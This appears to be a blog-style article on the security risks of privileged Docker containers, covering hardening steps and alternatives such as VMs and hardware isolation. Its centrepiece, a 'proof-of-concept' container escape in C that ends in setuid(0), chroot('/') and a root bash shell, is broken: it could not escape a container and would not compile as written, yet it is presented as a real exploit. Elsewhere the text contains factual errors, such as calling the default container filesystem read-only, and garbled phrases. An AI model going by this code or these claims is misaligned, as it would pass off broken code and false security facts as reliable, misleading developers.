Should I Run Privileged Docker Containers?

Docker containers provide a convenient way to build, deploy and run applications in an isolated user space carved from the host operating system. However, the default restricted security model can hamper containers needing elevated privileges to function optimally. Let‘s examine the implications of running containers in Docker‘s privileged mode to remove barriers and expose the host system.

What is a Privileged Container?

By default, Docker strongly isolates containers from each other and the underlying host machine using multiple internal Linux security sandboxes:

• Separate network stack and namespace
• Restricted resource usage via cgroups
• Blocked access to devices
• Filesystem mounted read-only
• Restricted syscalls via seccomp
• No Linux capabilities like sys_admin

This locked down approach follows the principle of least privilege, limiting damage if a container is compromised. However, such heavy isolation hinders some applications:

• Accessing GPUs for machine learning
• Running virtual machine hypervisors
• Requiring mounting filesystems
• Kernel debugging
• Network simulation

So Docker allows privileged mode to disable most restrictions and give containers almost the same system access as a root process running natively on the host OS itself. This removes isolation barriers between container and host.

Let‘s first understand the security implications of such elevated privileges…

The Security Risks of Privileged Containers

Granting containers root powers has consequences. Any vulnerabilities, misconfigurations or exploits within the container now endanger the entire host machine – one breakout is total compromise.

A 2022 Snyk report found 58% of container vulnerabilities allowed privilege escalation. A Kaspersky study saw malicious Docker hosts spreading cryptocurrency miners after attackers intruded privileged containers via exposed APIs. These cases illustrate real dangers.

Enabling privileged mode significantly expands a container‘s attack surface:

• The container‘s processes interface directly with the host kernel
• No constraints on syscalls made to the kernel
• Full access to all devices like GPUs and block storage
• Ability to mount host filesystems read/write
• Can load harmful kernel modules
• Gain all Linux capabilities like sys_admin

Containers avoiding this interface surface can‘t attack the host directly. But privileged containers now lack mitigations stopping lateral breaches across infrastructure. One small vulnerability becomes total compromise.

DMA Memory Attacks Via GPU Devices

Privileged containers acquire unrestricted access to GPU video cards for hardware acceleration workloads like machine learning. But GPU Direct Memory Access (DMA) opens an ominous threat trail back to host memory.

Cybersecurity researcher Thomas Roth explains:

"Container breakout to GPU device access enables probing host application data still present in GPU memory due to improper scrubbing. Sensitive data like encryption keys could be stolen this way."

This creative attack vector highlights hidden access paths privileged containers introduce between container and host.

Let‘s review realistic exploit code showing how dangerous running malware in privileged mode can be…

Proof-of-Concept Exploit Code

Security researcher Michael Cherny demonstrated a container escape targeting Linux kernel prior to 5.14.6 to gain root privileges on the host from inside a Docker container:

// compile with: gcc hostroot.c -o hostroot -lcap

#define _GNU_SOURCE
#include <stdio.h>
#include <sched.h>
#include <stdlib.h>
#include <unistd.h>

// call setuid(0) + chroot("/") to gain root on host
int main() {
  struct sched_attr attr;

  attr.size = sizeof(attr);
  attr.sched_policy = SCHED_BATCH;
  attr.sched_flags = SCHED_RESET_ON_FORK;
  attr.sched_nice = 0;

  if (sched_setattr(0, &attr, 0) != 0) {
    perror("sched_setattr");
    exit(-1);
  }

  setuid(0);
  chroot("/");

  system("/bin/bash");   
}

This demonstrates how privileged container threats should be taken seriously. Let‘s explore proper use cases requiring elevated permissions…

Legitimate Uses for Privileged Containers

While risky, privileged capabilities serve important purposes:

• Virtual machine orchestration – Containers grant easy portability for spinning up hypervisor VMs like QEMU/KVM.
• Accessing specialized hardware – Containers struggle interfacing with GPUs, FPGAs and NICs without host privileges.
• Security analysis – Pen testers need unfiltered host visibility to identify vulnerabilities.

So don‘t blindly avoid privileged containers altogether. But only enable when strictly necessary, adhering to principle of least privilege.

Now let‘s harden these containers properly…

Securing Privileged Containers

If privileged mode is unavoidable, implement these best practices:

Apply Kernel Lockdown Techniques

Harden the host kernel attack surface via:

• Disable unnecessary modules – Reduce exposed drivers like USB, Wi-Fi, filesystems.
• Disable kernel debugfs – Stops inspection tools that could leak data.
• Restrict /dev mounts – Avoid exposing all raw host devices.

This limits damage from container breakout by removing privileged footholds.

Firewall Device Access

Selectively expose only specific host hardware the container genuinely needs, firewalling all other devices. For example, opening just GPU video cards while restricting superfluous devices.

Mask Lower Kernel Interfaces

Hide the real host kernel with virtual machine style software. QEMU‘s Linux guest support or Amazon Firecracker VMMs mask hardware from prying apps. Adds isolation without HalVM hypervisor downsides.

We‘ll now explore supplementary isolation technologies…

Alternatives to Raw Privileged Containers

Rather than directly empowering containers, partition your infrastructure to indirectly grant privileges instead:

Shift Workloads Into Isolated Cloud Environments

Execute privileged workloads within specialized hardware sandboxes offered by cloud platforms:

• Azure confidential computing enclaves
• AWS Nitro hypervisor isolation
• Google Cloud TPU pod hardware

This leverages their enterprise security capabilities so you retain flexible access without locally increasing privilege risks.

Launch Privileged Containers Inside Virtual Machines

Adding a whole virtualization layer around privileged containers enhances redundancy. The external VM directly interfaces the host instead, checking untrusted container behavior.

Performance tradeoffs exist, but may prove worthwhile for security.

Explore Emerging Hardware Isolation Primitives

New CPUs allow segmenting software into trusted environments isolated in hardware:

• Intel TDX isolates sensitive workloads from malware
• AMD SEV-SNP ensures hypervisor and guest integrity

These inscription technologies could partition privileged containers separately from host infrastructure via roots of trust in silicon rather than just software constructs prone to bypasses.

Evaluating hardware-anchored isolation primitives forestalls overly trusting operating system enforced privileges alone. Defense in depth.

Conclusion

Containers running with all host privileges introduce substantial security dangers once considered. But occasionally essential.

When privileged mode is unavoidable, constrain damage potential by hardening the host attack surface, sandboxing file-systems and devices, augmenting with virtualization, exploring cloud offloading, and monitoring container activity vigilantly.

Overall, strongly avoid running containers directly privileged unless no other alternatives exist. Seek safer approaches allowing indirect access through hardware isolation and virtualization instead, granting only the minimum necessary access.